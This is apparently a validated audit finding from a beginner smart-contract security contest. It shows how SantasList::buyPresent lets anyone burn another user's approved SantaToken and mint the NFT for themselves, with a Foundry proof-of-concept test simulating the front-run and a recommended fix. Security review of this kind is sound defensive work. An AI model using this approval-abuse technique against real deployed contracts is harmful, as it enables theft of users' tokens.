Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Naughty Persons Can Spend Approved Tokens To Buy Presents For Themselves

Summary

A hacker can set up a bot to listen for Approval events from SantaToken, to wait for a user to give approval to SantasList to immediately send a transaction to spend the approved tokens to get a NFT.

Vulnerability Details

The flow between SantasList::buyPresent and SantasList::_mintAndIncrement assume msg.sender and presentReceiver are the same accounts, but this open the window for a hacker to plan the following attack:

  1. Set up bot and listen for Approval events from SantaToken

  2. After a user approves SantasList, Approval event is emitted and picked up by the bot

  3. Hacker sends a transaction to call SantasList::buyPresent with user set as presentReceiver

  4. users's tokens will be burnt and hacker gets a NFT

Impact

Approved tokens can be spent by any account to buy NFTs.

Proof of Concept

Paste the following test in SantasListTest.t.sol to test the vulnerability.

POC
function testSecurityReview__HackerCanSpendApprovedTokensToBuyPresents() public {
address hacker = makeAddr("HACKER");
// santa check user
vm.startPrank(santa, santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
// jump in time
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
// user collects present
vm.startPrank(user, user);
santasList.collectPresent();
// user approve SantasList
santaToken.approve(address(santasList), santaToken.balanceOf(user));
// hacker listened Approval event from SantaToken and
// front-runs `user`'s call to `buyPresent`
vm.startPrank(hacker, hacker);
santasList.buyPresent(user);
// assert hacker got a NFT
assertEq(santasList.balanceOf(hacker), 1);
assertEq(santasList.ownerOf(1), hacker);
// user call reverts because hacker already spent the tokens and
// doesn't have a balance to buy the present
vm.startPrank(user, user);
vm.expectRevert();
santasList.buyPresent(address(1));
}

Tools Used

Foundry and VS Code.

Recommendations

Update SantasList::buyPresent and SantasList::_mintAndIncrement as such:

function buyPresent(address presentReceiver) external {
i_santaToken.burn(msg.sender);
_mintAndIncrement(presentReceiver);
}
function _mintAndIncrement(address to) private {
_safeMint(to, s_tokenCounter++);
}

In this way the buyer must have a balance of SantaToken to afford the purchase.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

buyPresent should send to presentReceiver

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.